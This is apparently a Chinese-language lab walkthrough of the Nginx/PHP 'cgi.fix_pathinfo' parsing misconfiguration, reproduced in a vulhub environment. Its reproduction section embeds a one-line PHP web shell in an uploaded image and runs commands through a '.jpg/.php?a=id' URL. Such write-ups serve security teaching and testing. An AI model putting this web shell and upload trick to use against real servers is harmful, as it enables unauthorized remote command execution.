前言
该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
环境搭建
漏洞环境使用vulhub搭建,漏洞目录为 vulhub/nginx/nginx_parsing_vulnerability
在漏洞目录中执行以下命令即可构建漏洞环境。
docker-compose up -d
原理分析
首先来看不当配置:
# php.ini
cgi.fix_pathinfo=1
# php-fpm.conf
security.limit_extensions为空
我们首先来看看cgi.fix_pathinfo
作用到底是什么!我举一个例子可能大家就会明白这个参数的作用了:
假如我们访问 http://ip地址/a.php/index/admin
会发生什么?(a.php是存在的文件,a.php/index/admin不存在)
首先来看cgi.fix_pathinfo=0
的情况,服务器会把http://ip地址/a.php/index/admin
当成一个完整的路径来访问,但是a.php/index/admin
是不存在的,所以服务器会返回404错误。
再来看cgi.fix_pathinfo=1
的情况,这种情况服务器就比较智能了,服务器会自动判断哪个是真正的文件,把真正的文件交给php-cgi来解析。同时把文件的后面的数据保存在环境变量$_SERVER['PATH_INFO']
中。
我们来测试一下,将下面代码保存在a.php中,并将a.php放入本地搭建好的php环境中,然后访问 http://localhost/a.php/index/admin
<?php
var_dump($_SERVER['PATH_INFO']);
?>
我们看到文件名后的 /index/admin
确实传给了环境变量 $_SERVER['PATH_INFO']
。
http://域名/项目名/入口文件/模块名/方法名/键1/值1/键2/值2
属于URL访问模式中的PATHINFO 模式,很多框架采用的URL访问模式就是这种,例如ThinkPHP。这种访问模式必须开启cgi.fix_pathinfo,同时php配置的默认情况也是cgi.fix_pathinfo=1。
下面再来了解security.limit_extensions的作用
这个参数的作用就是使php-cgi只能解析特定后缀的文件,为空时就能解析所有文件。
再来看到nginx的关键配置
location ~ \.php$ {
include fastcgi_params;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}
当我们访问 http://IP地址/a.jpg/.php
时,该URL是可以匹配上面的正则表达式 \.php$
,但是在php-cgi解析时会提取真正的文件名http://IP地址/a.jpg
,并对其解析。这样就成功的执行了jpg文件中的php代码。
漏洞复现
靶场中的上传图片功能会检测图片里的特征码,只有真正的图片才能上传成功,所以必须准备一张真正的图片。
开启burpsuite监听,抓取上传图片的数据。
然后在图片数据的末尾写上一句话木马:
<?php system($_GET['a']);?>
点击 burpsuite上的Forward
按钮进行提交,这时来到浏览器,看到图片木马已经成功上传。
访问图片木马,并在图片马后面加上 /.php
和参数执行命令。
http://192.168.119.131/uploadfiles/394659692a460258b45a99f1424ea357.jpg/.php?a=id
这时发现木马执行成功!
参考文献
[1] https://www.laruence.com/2010/05/20/1495.html,Nginx + PHP CGI的一个可能的安全漏洞
[2] https://blog.csdn.net/zstxt1989/article/details/9310121,ThinkPHP中URL解析原理,以及URL路由使用教程!